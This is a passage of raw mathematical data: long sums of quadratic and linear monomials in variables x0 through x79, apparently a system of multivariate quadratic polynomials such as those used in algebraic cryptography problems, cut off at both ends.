x30*x53 + x30*x60 + x30*x61 + x30*x62 + x30*x64 + x30*x66 + x30*x67 + x30*x68 + x30*x71 + x30*x74 + x30*x77 + x30*x79 + x31*x32 + x31*x34 + x31*x35 + x31*x37 + x31*x41 + x31*x44 + x31*x48 + x31*x57 + x31*x59 + x31*x61 + x31*x63 + x31*x65 + x31*x68 + x31*x70 + x31*x71 + x31*x72 + x31*x76 + x31*x78 + x31*x79 + x32*x33 + x32*x36 + x32*x37 + x32*x39 + x32*x40 + x32*x42 + x32*x44 + x32*x45 + x32*x46 + x32*x47 + x32*x48 + x32*x53 + x32*x54 + x32*x56 + x32*x59 + x32*x66 + x32*x67 + x32*x68 + x32*x69 + x32*x70 + x32*x71 + x32*x72 + x32*x75 + x32*x77 + x32*x78 + x33*x37 + x33*x38 + x33*x39 + x33*x40 + x33*x41 + x33*x42 + x33*x43 + x33*x45 + x33*x46 + x33*x47 + x33*x49 + x33*x50 + x33*x51 + x33*x53 + x33*x55 + x33*x57 + x33*x59 + x33*x60 + x33*x63 + x33*x64 + x33*x65 + x33*x66 + x33*x70 + x33*x73 + x33*x75 + x33*x78 + x33*x79 + x33 + x34*x36 + x34*x37 + x34*x38 + x34*x39 + x34*x40 + x34*x42 + x34*x43 + x34*x44 + x34*x51 + x34*x52 + x34*x53 + x34*x57 + x34*x61 + x34*x63 + x34*x64 + x34*x65 + x34*x67 + x34*x74 + x34*x77 + x34*x79 + x35*x38 + x35*x40 + x35*x43 + x35*x44 + x35*x48 + x35*x50 + x35*x51 + x35*x53 + x35*x54 + x35*x56 + x35*x57 + x35*x58 + x35*x59 + x35*x60 + x35*x62 + x35*x63 + x35*x64 + x35*x65 + x35*x67 + x35*x69 + x35*x70 + x35*x71 + x35*x72 + x35*x73 + x35*x74 + x35*x75 + x35*x76 + x35*x77 + x35*x79 + x36*x37 + x36*x39 + x36*x40 + x36*x45 + x36*x49 + x36*x52 + x36*x53 + x36*x56 + x36*x58 + x36*x59 + x36*x60 + x36*x63 + x36*x64 + x36*x65 + x36*x66 + x36*x67 + x36*x69 + x36*x70 + x36*x71 + x36*x74 + x36*x75 + x36*x77 + x37*x42 + x37*x44 + x37*x47 + x37*x48 + x37*x49 + x37*x50 + x37*x53 + x37*x55 + x37*x56 + x37*x57 + x37*x59 + x37*x60 + x37*x65 + x37*x66 + x37*x67 + x37*x70 + x37*x72 + x37*x74 + x37*x77 + x38*x39 + x38*x40 + x38*x42 + x38*x43 + x38*x44 + x38*x45 + x38*x46 + x38*x47 + x38*x49 + x38*x52 + x38*x53 + x38*x54 + x38*x57 + x38*x58 + x38*x70 + x38*x71 + x38*x72 + x38*x74 + x38*x76 + x38*x78 + x38*x79 + x38 + x39*x41 + x39*x43 + x39*x45 + x39*x48 + x39*x49 + x39*x50 + x39*x51 + x39*x54 + x39*x60 + x39*x61 + x39*x64 + x39*x65 + x39*x66 + x39*x67 + x39*x68 + x39*x69 + x39*x71 + x39*x76 + x39*x79 + x40*x41 + x40*x42 + x40*x44 + x40*x45 + x40*x46 + x40*x47 + x40*x49 + x40*x50 + x40*x51 + x40*x52 + x40*x53 + x40*x54 + x40*x55 + x40*x56 + x40*x57 + x40*x59 + x40*x60 + x40*x61 + x40*x62 + x40*x64 + x40*x65 + x40*x66 + x40*x67 + x40*x69 + x40*x72 + x40*x73 + x40*x74 + x40*x75 + x40*x76 + x40*x77 + x40 + x41*x42 + x41*x43 + x41*x45 + x41*x46 + x41*x49 + x41*x51 + x41*x55 + x41*x56 + x41*x58 + x41*x59 + x41*x60 + x41*x62 + x41*x65 + x41*x66 + x41*x68 + x41*x69 + x41*x72 + x41*x73 + x41*x74 + x41*x75 + x41*x76 + x41*x78 + x42*x43 + x42*x44 + x42*x48 + x42*x50 + x42*x51 + x42*x53 + x42*x54 + x42*x56 + x42*x57 + x42*x60 + x42*x62 + x42*x64 + x42*x67 + x42*x68 + x42*x69 + x42*x71 + x42*x72 + x42*x75 + x42*x76 + x42*x77 + x42*x78 + x42 + x43*x46 + x43*x47 + x43*x48 + x43*x49 + x43*x50 + x43*x51 + x43*x52 + x43*x55 + x43*x60 + x43*x62 + x43*x63 + x43*x66 + x43*x68 + x43*x69 + x43*x70 + x43*x72 + x43*x75 + x43*x77 + x43*x78 + x43*x79 + x44*x45 + x44*x48 + x44*x50 + x44*x53 + x44*x54 + x44*x56 + x44*x57 + x44*x60 + x44*x65 + x44*x68 + x44*x70 + x44*x71 + x44*x72 + x44*x74 + x44*x76 + x44*x79 + x45*x46 + x45*x48 + x45*x50 + x45*x51 + x45*x52 + x45*x53 + x45*x60 + x45*x61 + x45*x63 + x45*x65 + x45*x66 + x45*x69 + x45*x75 + x45*x79 + x46*x47 + x46*x48 + x46*x51 + x46*x56 + x46*x60 + x46*x61 + x46*x63 + x46*x65 + x46*x69 + x46*x70 + x46*x71 + x46*x72 + x46*x73 + x46*x74 + x46*x79 + x47*x48 + x47*x50 + x47*x52 + x47*x55 + x47*x56 + x47*x60 + x47*x62 + x47*x65 + x47*x67 + x47*x68 + x47*x70 + x47*x71 + x47*x72 + x47*x73 + x47*x75 + x47*x77 + x47*x78 + x47 + x48*x49 + x48*x50 + x48*x51 + x48*x52 + x48*x53 + x48*x54 + x48*x57 + x48*x58 + x48*x59 + x48*x60 + x48*x64 + x48*x65 + x48*x69 + x48*x70 + x48*x73 + x48*x76 + x48*x78 + x48*x79 + x49*x50 + x49*x51 + x49*x53 + x49*x54 + x49*x56 + x49*x57 + x49*x59 + x49*x60 + x49*x61 + x49*x64 + x49*x65 + x49*x68 + x49*x69 + x49*x71 + x49*x72 + x49*x74 + x49*x75 + x49*x76 + x49*x77 + x49*x78 + x49*x79 + x50*x51 + x50*x55 + x50*x56 + x50*x58 + x50*x62 + x50*x66 + x50*x68 + x50*x70 + x50*x71 + x50*x74 + x50*x76 + x50 + x51*x55 + x51*x57 + x51*x58 + x51*x60 + x51*x61 + x51*x64 + x51*x65 + x51*x66 + x51*x69 + x51*x70 + x51*x71 + x51*x72 + x51*x73 + x51*x74 + x51*x75 + x51*x79 + x51 + x52*x53 + x52*x56 + x52*x59 + x52*x64 + x52*x65 + x52*x66 + x52*x67 + x52*x71 + x52*x72 + x52*x73 + x52*x74 + x52*x75 + x52*x76 + x52*x79 + x52 + x53*x54 + x53*x57 + x53*x59 + x53*x61 + x53*x65 + x53*x66 + x53*x67 + x53*x71 + x53*x73 + x53*x76 + x53*x78 + x53*x79 + x54*x56 + x54*x57 + x54*x59 + x54*x64 + x54*x66 + x54*x67 + x54*x68 + x54*x70 + x54*x73 + x54*x74 + x54*x75 + x54*x77 + x54*x78 + x54*x79 + x54 + x55*x57 + x55*x59 + x55*x62 + x55*x66 + x55*x68 + x55*x69 + x55*x71 + x55*x73 + x55*x74 + x55*x79 + x55 + x56*x58 + x56*x69 + x56*x70 + x56*x72 + x56*x74 + x56*x76 + x56*x78 + x57*x58 + x57*x59 + x57*x60 + x57*x61 + x57*x64 + x57*x65 + x57*x67 + x57*x68 + x57*x74 + x57*x76 + x58*x59 + x58*x60 + x58*x61 + x58*x62 + x58*x63 + x58*x65 + x58*x66 + x58*x67 + x58*x68 + x58*x71 + x58*x73 + x58*x74 + x58*x75 + x59*x63 + x59*x67 + x59*x68 + x59*x69 + x59*x73 + x59*x74 + x59*x75 + x59*x77 + x59*x78 + x60*x64 + x60*x66 + x60*x68 + x60*x70 + x60*x71 + x60*x74 + x60*x75 + x60*x76 + x60 + x61*x62 + x61*x64 + x61*x65 + x61*x66 + x61*x69 + x61*x79 + x61 + x62*x64 + x62*x66 + x62*x70 + x62*x72 + x62*x74 + x62*x77 + x62*x78 + x63*x65 + x63*x67 + x63*x74 + x63*x75 + x63*x78 + x63*x79 + x64*x65 + x64*x68 + x64*x69 + x64*x71 + x64*x77 + x65*x70 + x65*x71 + x65*x72 + x65*x73 + x65*x75 + x65*x78 + x65*x79 + x65 + x66*x69 + x66*x70 + x66*x76 + x66*x77 + x66*x78 + x66 + x67*x68 + x67*x69 + x67*x70 + x67*x71 + x67*x72 + x67*x77 + x67*x78 + x67*x79 + x68*x70 + x68*x71 + x68*x73 + x68*x74 + x68*x75 + x68*x77 + x68*x79 + x68 + x69*x70 + x69*x75 + x69*x78 + x69*x79 + x70*x71 + x70*x72 + x70*x73 + x70*x74 + x70 + x71*x72 + x71*x73 + x71*x75 + x71*x77 + x71 + x72*x74 + x72*x77 + x72*x78 + x72 + x73*x75 + x73*x76 + x73*x77 + x73*x78 + x73*x79 + x74*x77 + x74 + x75*x77 + x75*x78 + x75*x79 + x75 + x76*x79 + x77*x79 + x77 + x78*x79 + x78 + 1, x0*x1 + x0*x2 + x0*x4 + x0*x7 + x0*x8 + x0*x9 + x0*x16 + x0*x19 + x0*x21 + x0*x26 + x0*x27 + x0*x29 + x0*x30 + x0*x31 + x0*x35 + x0*x48 + x0*x50 + x0*x51 + x0*x54 + x0*x56 + x0*x57 + x0*x59 + x0*x60 + x0*x62 + x0*x63 + x0*x65 + x0*x66 + x0*x70 + x0*x72 + x0*x74 + x0*x77 + x0*x78 + x0*x79 + x0 + x1*x2 + x1*x5 + x1*x6 + x1*x7 + x1*x8 + x1*x9 + x1*x10 + x1*x12 + x1*x13 + x1*x15 + x1*x19 + x1*x21 + x1*x23 + x1*x26 + x1*x29 + x1*x32 + x1*x33 + x1*x34 + x1*x36 + x1*x38 + x1*x39 + x1*x40 + x1*x41 + x1*x43 + x1*x44 + x1*x46 + x1*x47 + x1*x51 + x1*x52 + x1*x53 + x1*x55 + x1*x58 + x1*x59 + x1*x63 + x1*x65 + x1*x67 + x1*x69 + x1*x72 + x1*x73 + x1*x78 + x1*x79 + x1 + x2*x3 + x2*x5 + x2*x6 + x2*x7 + x2*x9 + x2*x10 + x2*x13 + x2*x15 + x2*x17 + x2*x19 + x2*x20 + x2*x21 + x2*x23 + x2*x25 + x2*x28 + x2*x29 + x2*x31 + x2*x32 + x2*x35 + x2*x38 + x2*x39 + x2*x40 + x2*x41 + x2*x42 + x2*x43 + x2*x44 + x2*x50 + x2*x52 + x2*x55 + x2*x57 + x2*x58 + x2*x60 + x2*x62 + x2*x64 + x2*x67 + x2*x73 + x2*x79 + x2 + x3*x4 + x3*x6 + x3*x8 + x3*x9 + x3*x10 + x3*x14 + x3*x15 + x3*x16 + x3*x17 + x3*x18 + x3*x19 + x3*x20 + x3*x22 + x3*x23 + x3*x25 + x3*x30 + x3*x33 + x3*x35 + x3*x38 + x3*x39 + x3*x40 + x3*x42 + x3*x44 + x3*x45 + x3*x46 + x3*x50 + x3*x51 + x3*x52 + x3*x53 + x3*x55 + x3*x56 + x3*x57 + x3*x58 + x3*x60 + x3*x61 + x3*x62 + x3*x63 + x3*x67 + x3*x69 + x3*x70 + x3*x71 + x3*x72 + x3*x73 + x3*x74 + x3*x75 + x3*x76 + x3*x77 + x3*x78 + x4*x5 + x4*x6 + x4*x7 + x4*x8 + x4*x9 + x4*x10 + x4*x12 + x4*x13 + x4*x15 + x4*x16 + x4*x20 + x4*x23 + x4*x24 + x4*x25 + x4*x28 + x4*x29 + x4*x32 + x4*x34 + x4*x36 + x4*x41 + x4*x42 + x4*x43 + x4*x47 + x4*x48 + x4*x49 + x4*x53 + x4*x54 + x4*x55 + x4*x62 + x4*x66 + x4*x67 + x4*x69 + x4*x70 + x4*x72 + x4*x73 + x4*x74 + x4 + x5*x6 + x5*x11 + x5*x13 + x5*x16 + x5*x18 + x5*x19 + x5*x20 + x5*x26 + x5*x28 + x5*x34 + x5*x35 + x5*x37 + x5*x38 + x5*x40 + x5*x41 + x5*x42 + x5*x45 + x5*x57 + x5*x58 + x5*x65 + x5*x70 + x5*x71 + x5*x75 + x5*x77 + x6*x9 + x6*x12 + x6*x13 + x6*x15 + x6*x17 + x6*x18 + x6*x22 + x6*x23 + x6*x24 + x6*x25 + x6*x26 + x6*x27 + x6*x28 + x6*x29 + x6*x30 + x6*x31 + x6*x33 + x6*x37 + x6*x40 + x6*x41 + x6*x45 + x6*x48 + x6*x49 + x6*x50 + x6*x51 + x6*x54 + x6*x56 + x6*x57 + x6*x58 + x6*x59 + x6*x63 + x6*x66 + x6*x71 + x6*x72 + x6*x74 + x6*x75 + x6*x76 + x6*x77 + x7*x8 + x7*x9 + x7*x12 + x7*x13 + x7*x14 + x7*x15 + x7*x19 + x7*x21 + x7*x22 + x7*x23 + x7*x26 + x7*x28 + x7*x30 + x7*x32 + x7*x35 + x7*x39 + x7*x40 + x7*x42 + x7*x43 + x7*x52 + x7*x53 + x7*x55 + x7*x56 + x7*x58 + x7*x59 + x7*x60 + x7*x65 + x7*x68 + x7*x69 + x7*x70 + x7*x71 + x7*x72 + x7*x73 + x7*x74 + x7*x75 + x7*x77 + x7*x78 + x7*x79 + x7 + x8*x9 + x8*x15 + x8*x17 + x8*x20 + x8*x21 + x8*x22 + x8*x25 + x8*x27 + x8*x28 + x8*x29 + x8*x30 + x8*x32 + x8*x33 + x8*x34 + x8*x36 + x8*x38 + x8*x39 + x8*x44 + x8*x47 + x8*x51 + x8*x52 + x8*x55 + x8*x58 + x8*x61 + x8*x62 + x8*x63 + x8*x66 + x8*x69 + x8*x70 + x8*x71 + x8*x75 + x8*x76 + x9*x10 + x9*x11 + x9*x13 + x9*x17 + x9*x20 + x9*x21 + x9*x26 + x9*x28 + x9*x31 + x9*x35 + x9*x43 + x9*x44 + x9*x45 + x9*x47 + x9*x54 + x9*x57 + x9*x59 + x9*x60 + x9*x61 + x9*x62 + x9*x66 + x9*x67 + x9*x68 + x9*x69 + x9*x72 + x9*x74 + x9*x75 + x9*x77 + x9*x79 + x10*x13 + x10*x14 + x10*x15 + x10*x18 + x10*x19 + x10*x20 + x10*x21 + x10*x23 + x10*x24 + x10*x25 + x10*x28 + x10*x31 + x10*x33 + x10*x38 + x10*x40 + x10*x41 + x10*x42 + x10*x44 + x10*x47 + x10*x51 + x10*x52 + x10*x54 + x10*x55 + x10*x60 + x10*x61 + x10*x63 + x10*x64 + x10*x67 + x10*x68 + x10*x69 + x10*x72 + x10*x75 + x10*x79 + x10 + x11*x12 + x11*x14 + x11*x15 + x11*x22 + x11*x23 + x11*x26 + x11*x27 + x11*x29 + x11*x30 + x11*x32 + x11*x33 + x11*x35 + x11*x37 + x11*x38 + x11*x41 + x11*x42 + x11*x45 + x11*x50 + x11*x52 + x11*x53 + x11*x55 + x11*x56 + x11*x57 + x11*x58 + x11*x60 + x11*x61 + x11*x63 + x11*x64 + x11*x66 + x11*x67 + x11*x69 + x11*x70 + x11*x75 + x11*x77 + x11*x78 + x11*x79 + x12*x13 + x12*x18 + x12*x22 + x12*x23 + x12*x25 + x12*x26 + x12*x28 + x12*x31 + x12*x33 + x12*x34 + x12*x36 + x12*x37 + x12*x42 + x12*x43 + x12*x44 + x12*x45 + x12*x46 + x12*x48 + x12*x49 + x12*x53 + x12*x54 + x12*x58 + x12*x60 + x12*x61 + x12*x62 + x12*x63 + x12*x65 + x12*x66 + x12*x67 + x12*x69 + x12*x70 + x12*x71 + x12*x72 + x12*x75 + x12*x78 + x12*x79 + x13*x14 + x13*x18 + x13*x19 + x13*x20 + x13*x21 + x13*x22 + x13*x23 + x13*x24 + x13*x25 + x13*x26 + x13*x29 + x13*x34 + x13*x35 + x13*x37 + x13*x39 + x13*x42 + x13*x43 + x13*x45 + x13*x48 + x13*x49 + x13*x51 + x13*x52 + x13*x53 + x13*x56 + x13*x59 + x13*x62 + x13*x63 + x13*x65 + x13*x66 + x13*x70 + x13*x72 + x13*x74 + x13*x75 + x13*x77 + x13*x78 + x13*x79 + x13 + x14*x16 + x14*x17 + x14*x19 + x14*x20 + x14*x27 + x14*x29 + x14*x31 + x14*x35 + x14*x36 + x14*x37 + x14*x40 + x14*x41 + x14*x43 + x14*x45 + x14*x47 + x14*x48 + x14*x50 + x14*x52 + x14*x54 + x14*x60 + x14*x61 + x14*x64 + x14*x66 + x14*x67 + x14*x68 + x14*x70 + x14*x72 + x14*x76 + x14*x78 + x14*x79 + x15*x16 + x15*x18 + x15*x19 + x15*x20 + x15*x21 + x15*x23 + x15*x24 + x15*x26 + x15*x28 + x15*x30 + x15*x31 + x15*x33 + x15*x35 + x15*x37 + x15*x38 + x15*x39 + x15*x40 + x15*x41 + x15*x42 + x15*x44 + x15*x50 + x15*x51 + x15*x53 + x15*x54 + x15*x55 + x15*x58 + x15*x60 + x15*x62 + x15*x63 + x15*x65 + x15*x66 + x15*x69 + x15*x70 + x15*x71 + x15*x76 + x15*x79 + x15 + x16*x19 + x16*x21 + x16*x22 + x16*x26 + x16*x29 + x16*x31 + x16*x32 + x16*x34 + x16*x35 + x16*x36 + x16*x38 + x16*x40 + x16*x42 + x16*x43 + x16*x44 + x16*x47 + x16*x49 + x16*x50 + x16*x54 + x16*x57 + x16*x60 + x16*x61 + x16*x64 + x16*x70 + x16*x72 + x16*x73 + x16*x75 + x16 + x17*x19 + x17*x20 + x17*x23 + x17*x24 + x17*x28 + x17*x30 + x17*x33 + x17*x38 + x17*x40 + x17*x42 + x17*x45 + x17*x46 + x17*x49 + x17*x50 + x17*x52 + x17*x54 + x17*x55 + x17*x56 + x17*x57 + x17*x58 + x17*x62 + x17*x64 + x17*x67 + x17*x68 + x17*x71 + x17*x72 + x17*x73 + x17*x74 + x17*x76 + x17*x78 + x17 + x18*x20 + x18*x23 + x18*x26 + x18*x27 + x18*x29 + x18*x31 + x18*x34 + x18*x35 + x18*x38 + x18*x41 + x18*x44 + x18*x50 + x18*x51 + x18*x52 + x18*x53 + x18*x55 + x18*x56 + x18*x57 + x18*x58 + x18*x62 + x18*x63 + x18*x64 + x18*x65 + x18*x66 + x18*x68 + x18*x71 + x18*x72 + x18*x75 + x18*x77 + x18 + x19*x21 + x19*x22 + x19*x24 + x19*x25 + x19*x27 + x19*x30 + x19*x31 + x19*x32 + x19*x33 + x19*x34 + x19*x39 + x19*x41 + x19*x44 + x19*x45 + x19*x47 + x19*x49 + x19*x50 + x19*x53 + x19*x54 + x19*x55 + x19*x60 + x19*x61 + x19*x64 + x19*x65 + x19*x66 + x19*x69 + x19*x71 + x19*x74 + x19*x75 + x19*x78 + x19 + x20*x24 + x20*x27 + x20*x30 + x20*x32 + x20*x33 + x20*x34 + x20*x35 + x20*x36 + x20*x40 + x20*x41 + x20*x42 + x20*x44 + x20*x45 + x20*x46 + x20*x47 + x20*x49 + x20*x50 + x20*x52 + x20*x59 + x20*x65 + x20*x66 + x20*x70 + x20*x72 + x20*x75 + x20 + x21*x23 + x21*x25 + x21*x26 + x21*x27 + x21*x28 + x21*x29 + x21*x30 + x21*x32 + x21*x34 + x21*x36 + x21*x37 + x21*x41 + x21*x42 + x21*x48 + x21*x50 + x21*x53 + x21*x54 + x21*x55 + x21*x56 + x21*x57 + x21*x59 + x21*x61 + x21*x62 + x21*x63 + x21*x64 + x21*x66 + x21*x68 + x21*x70 + x21*x71 + x21*x73 + x21*x75 + x21*x78 + x21*x79 + x21 + x22*x23 + x22*x25 + x22*x30 + x22*x32 + x22*x33 + x22*x35 + x22*x36 + x22*x38 + x22*x40 + x22*x41 + x22*x42 + x22*x43 + x22*x44 + x22*x45 + x22*x48 + x22*x51 + x22*x55 + x22*x56 + x22*x57 + x22*x58 + x22*x59 + x22*x62 + x22*x64 + x22*x65 + x22*x66 + x22*x67 + x22*x68 + x22*x69 + x22*x71 + x22*x73 + x22*x74 + x22*x76 + x22*x78 + x22*x79 + x23*x24 + x23*x25 + x23*x26 + x23*x30 + x23*x31 + x23*x33 + x23*x35 + x23*x37 + x23*x38 + x23*x41 + x23*x44 + x23*x45 + x23*x46 + x23*x49 + x23*x51 + x23*x52 + x23*x54 + x23*x60 + x23*x62 + x23*x71 + x23*x72 + x23*x73 + x23*x74 + x23*x76 + x23*x78 + x23*x79 + x24*x25 + x24*x26 + x24*x27 + x24*x30 + x24*x31 + x24*x32 + x24*x33 + x24*x35 + x24*x36 + x24*x40 + x24*x42 + x24*x45 + x24*x50 + x24*x51 + x24*x55 + x24*x56 + x24*x58 + x24*x59 + x24*x61 + x24*x63 + x24*x65 + x24*x66 + x24*x67 + x24*x71 + x24*x73 + x24*x76 + x24*x78 + x24*x79 + x25*x28 + x25*x29 + x25*x32 + x25*x34 + x25*x36 + x25*x37 + x25*x39 + x25*x41 + x25*x43 + x25*x46 + x25*x48 + x25*x49 + x25*x50 + x25*x54 + x25*x55 + x25*x56 + x25*x57 + x25*x59 + x25*x62 + x25*x63 + x25*x68 + x25*x74 + x25*x78 + x25 + x26*x27 + x26*x29 + x26*x30 + x26*x32 + x26*x35 + x26*x36 + x26*x38 + x26*x39 + x26*x40 + x26*x41 + x26*x42 + x26*x43 + x26*x46 + x26*x48 + x26*x50 + x26*x55 + x26*x58 + x26*x59 + x26*x61 + x26*x62 + x26*x64 + x26*x65 + x26*x69 + x26*x72 + x26*x75 + x26*x78 + x26 + x27*x30 + x27*x31 + x27*x33 + x27*x34 + x27*x35 + x27*x37 + x27*x38 + x27*x40 + x27*x41 + x27*x42 + x27*x44 + x27*x46 + x27*x48 + x27*x53 + x27*x54 + x27*x56 + x27*x58 + x27*x59 + x27*x61 + x27*x62 + x27*x64 + x27*x66 + x27*x67 + x27*x68 + x27*x69 + x27*x70 + x27*x71 + x27*x72 + x27*x75 + x27*x77 + x27*x78 + x28*x30 + x28*x33 + x28*x34 + x28*x36 + x28*x43 + x28*x44 + x28*x46 + x28*x48 + x28*x50 + x28*x53 + x28*x55 + x28*x56 + x28*x57 + x28*x60 + x28*x63 + x28*x65 + x28*x70 + x28*x74 + x28*x76 + x29*x36 + x29*x37 + x29*x42 + x29*x44 + x29*x47 + x29*x48 + x29*x52 + x29*x53 + x29*x54 + x29*x55 + x29*x56 + x29*x58 + x29*x60 + x29*x61 + x29*x62 + x29*x67 + x29*x68 + x29*x74 + x29*x75 + x29*x79 + x29 + x30*x31 + x30*x34 + x30*x35 + x30*x36 + x30*x37 + x30*x39 + x30*x40 + x30*x43 + x30*x46 + x30*x47 + x30*x48 + x30*x49 + x30*x52 + x30*x53 + x30*x56 + x30*x58 + x30*x59 + x30*x63 + x30*x64 + x30*x65 + x30*x66 + x30*x67 + x30*x68 + x30*x69 + x30*x71 + x30*x73 + x30*x78 + x30*x79 + x31*x32 + x31*x35 + x31*x36 + x31*x37 + x31*x38 + x31*x45 + x31*x46 + x31*x49 + x31*x51 + x31*x53 + x31*x55 + x31*x56 + x31*x58 + x31*x60 + x31*x65 + x31*x67 + x31*x68 + x31*x70 + x31*x71 + x31*x73 + x31*x75 + x31*x76 + x31*x78 + x31*x79 + x31 + x32*x33 + x32*x36 + x32*x37 + x32*x40 + x32*x42 + x32*x45 + x32*x46 + x32*x48 + x32*x50 + x32*x51 + x32*x53 + x32*x55 + x32*x56 + x32*x57 + x32*x58 + x32*x62 + x32*x63 + x32*x66 + x32*x67 + x32*x68 + x32*x70 + x32*x72 + x32*x75 + x32*x76 + x32*x78 + x32 + x33*x34 + x33*x35 + x33*x38 + x33*x41 + x33*x43 + x33*x45 + x33*x46 + x33*x47 + x33*x50 + x33*x51 + x33*x52 + x33*x55 + x33*x57 + x33*x61 + x33*x62 + x33*x64 + x33*x66 + x33*x68 + x33*x70 + x33*x71 + x33*x76 + x33*x77 + x33*x78 + x33 + x34*x36 + x34*x37 + x34*x38 + x34*x39 + x34*x44 + x34*x45 + x34*x47 + x34*x52 + x34*x54 + x34*x57 + x34*x58 + x34*x63 + x34*x66 + x34*x68 + x34*x71 + x34*x72 + x34*x73 + x34*x74 + x34*x76 + x34*x78 + x34 + x35*x38 + x35*x39 + x35*x40 + x35*x43 + x35*x46 + x35*x48 + x35*x50 + x35*x54 + x35*x55 + x35*x56 + x35*x57 + x35*x60 + x35*x61 + x35*x62 + x35*x65 + x35*x68 + x35*x70 + x35*x73 + x35*x75 + x35*x77 + x35*x79 + x35 + x36*x37 + x36*x40 + x36*x41 + x36*x42 + x36*x43 + x36*x45 + x36*x47 + x36*x48 + x36*x49 + x36*x53 + x36*x56 + x36*x57 + x36*x61 + x36*x64 + x36*x66 + x36*x67 + x36*x69 + x36*x70 + x36*x74 + x36*x75 + x36*x77 + x36*x79 + x37*x39 + x37*x42 + x37*x46 + x37*x47 + x37*x48 + x37*x49 + x37*x50 + x37*x51 + x37*x54 + x37*x55 + x37*x59 + x37*x62 + x37*x63 + x37*x66 + x37*x68 + x37*x70 + x37*x72 + x37*x75 + x37*x76 + x37*x77 + x37*x79 + x38*x46 + x38*x48 + x38*x51 + x38*x52 + x38*x55 + x38*x58 + x38*x60 + x38*x63 + x38*x64 + x38*x66 + x38*x67 + x38*x70 + x38*x71 + x38*x74 + x38*x75 + x38 + x39*x40 + x39*x42 + x39*x45 + x39*x50 + x39*x51 + x39*x52 + x39*x53 + x39*x55 + x39*x57 + x39*x61 + x39*x63 + x39*x64 + x39*x65 + x39*x68 + x39*x70 + x39*x71 + x39*x72 + x39*x75 + x39*x76 + x40*x41 + x40*x44 + x40*x46 + x40*x47 + x40*x49 + x40*x50 + x40*x51 + x40*x52 + x40*x53 + x40*x54 + x40*x57 + x40*x59 + x40*x60 + x40*x61 + x40*x62 + x40*x65 + x40*x69 + x40*x72 + x40*x73 + x41*x44 + x41*x47 + x41*x50 + x41*x51 + x41*x55 + x41*x56 + x41*x59 + x41*x60 + x41*x62 + x41*x63 + x41*x65 + x41*x67 + x41*x68 + x41*x72 + x41*x75 + x41*x76 + x41*x77 + x41*x78 + x41 + x42*x43 + x42*x44 + x42*x48 + x42*x51 + x42*x52 + x42*x54 + x42*x55 + x42*x61 + x42*x63 + x42*x64 + x42*x67 + x42*x70 + x42*x73 + x42*x74 + x42*x76 + x42 + x43*x46 + x43*x47 + x43*x48 + x43*x49 + x43*x50 + x43*x55 + x43*x57 + x43*x60 + x43*x68 + x43*x69 + x43*x70 + x43*x71 + x43*x72 + x43*x74 + x43*x78 + x44*x49 + x44*x50 + x44*x53 + x44*x54 + x44*x55 + x44*x59 + x44*x61 + x44*x62 + x44*x63 + x44*x68 + x44*x69 + x44*x70 + x44*x72 + x44*x75 + x44*x76 + x44*x77 + x44*x79 + x44 + x45*x46 + x45*x47 + x45*x49 + x45*x51 + x45*x54 + x45*x59 + x45*x60 + x45*x62 + x45*x65 + x45*x66 + x45*x67 + x45*x70 + x45*x73 + x45*x74 + x45*x78 + x45 + x46*x47 + x46*x48 + x46*x54 + x46*x57 + x46*x59 + x46*x61 + x46*x63 + x46*x65 + x46*x68 + x46*x69 + x46*x70 + x46*x73 + x46*x76 + x46*x77 + x46*x78 + x46 + x47*x48 + x47*x49 + x47*x52 + x47*x56 + x47*x58 + x47*x59 + x47*x62 + x47*x63 + x47*x64 + x47*x66 + x47*x68 + x47*x69 + x47*x70 + x47*x71 + x47*x73 + x47*x74 + x47*x76 + x47*x77 + x47*x79 + x48*x53 + x48*x56 + x48*x57 + x48*x58 + x48*x64 + x48*x66 + x48*x69 + x48*x71 + x48*x72 + x48*x73 + x48*x74 + x48*x76 + x48*x77 + x48*x78 + x48*x79 + x49*x54 + x49*x55 + x49*x60 + x49*x62 + x49*x63 + x49*x64 + x49*x65 + x49*x66 + x49*x68 + x49*x72 + x49*x74 + x49*x76 + x49*x77 + x49*x79 + x50*x52 + x50*x53 + x50*x54 + x50*x55 + x50*x60 + x50*x63 + x50*x65 + x50*x67 + x50*x68 + x50*x69 + x50*x74 + x50*x75 + x50*x77 + x50*x78 + x50 + x51*x52 + x51*x56 + x51*x57 + x51*x60 + x51*x61 + x51*x62 + x51*x64 + x51*x68 + x51*x69 + x51*x70 + x51*x71 + x51*x72 + x51*x75 + x51*x77 + x51*x78 + x51*x79 + x52*x53 + x52*x54 + x52*x57 + x52*x58 + x52*x59 + x52*x61 + x52*x62 + x52*x63 + x52*x65 + x52*x70 + x52*x71 + x52*x79 + x53*x54 + x53*x55 + x53*x57 + x53*x58 + x53*x60 + x53*x61 + x53*x62 + x53*x67 + x53*x68 + x53*x69 + x53*x70 + x53*x71 + x53*x73 + x53*x76 + x53*x79 + x53 + x54*x56 + x54*x57 + x54*x60 + x54*x63 + x54*x66 + x54*x67 + x54*x68 + x55*x56 + x55*x57 + x55*x58 + x55*x59 + x55*x61 + x55*x63 + x55*x64 + x55*x65 + x55*x67 + x55*x68 + x55*x69 + x55*x70 + x55*x71 + x55*x72 + x55*x79 + x55 + x56*x57 + x56*x58 + x56*x59 + x56*x60 + x56*x62 + x56*x64 + x56*x65 + x56*x67 + x56*x68 + x56*x70 + x56*x71 + x56*x72 + x56*x73 + x56*x74 + x56 + x57*x58 + x57*x61 + x57*x65 + x57*x67 + x57*x69 + x57*x70 + x57*x75 + x57*x78 + x57 + x58*x59 + x58*x63 + x58*x65 + x58*x70 + x58*x72 + x58*x73 + x58*x75 + x58*x78 + x58 + x59*x61 + x59*x62 + x59*x63 + x59*x74 + x59*x75 + x59*x79 + x59 + x60*x61 + x60*x62 + x60*x63 + x60*x64 + x60*x65 + x60*x66 + x60*x67 + x60*x70 + x60*x73 + x60*x74 + x60*x76 + x60*x79 + x61*x62 + x61*x65 + x61*x67 + x61*x72 + x61*x74 + x61*x76 + x61*x77 + x61 + x62*x64 + x62*x65 + x62*x66 + x62*x68 + x62*x69 + x62*x70 + x62*x73 + x62*x76 + x62*x77 + x62*x79 + x63*x66 + x63*x68 + x63*x70 + x63*x76 + x63*x77 + x63*x78 + x63*x79 + x63 + x64*x65 + x64*x68 + x64*x70 + x64*x71 + x64*x72 + x64*x73 + x64*x74 + x64*x75 + x64*x76 + x64*x77 + x64*x79 + x65*x68 + x65*x69 + x65*x70 + x65*x75 + x65*x77 + x65 + x66*x67 + x66*x69 + x66*x73 + x66*x75 + x66*x77 + x66 + x67*x68 + x67*x69 + x67*x72 + 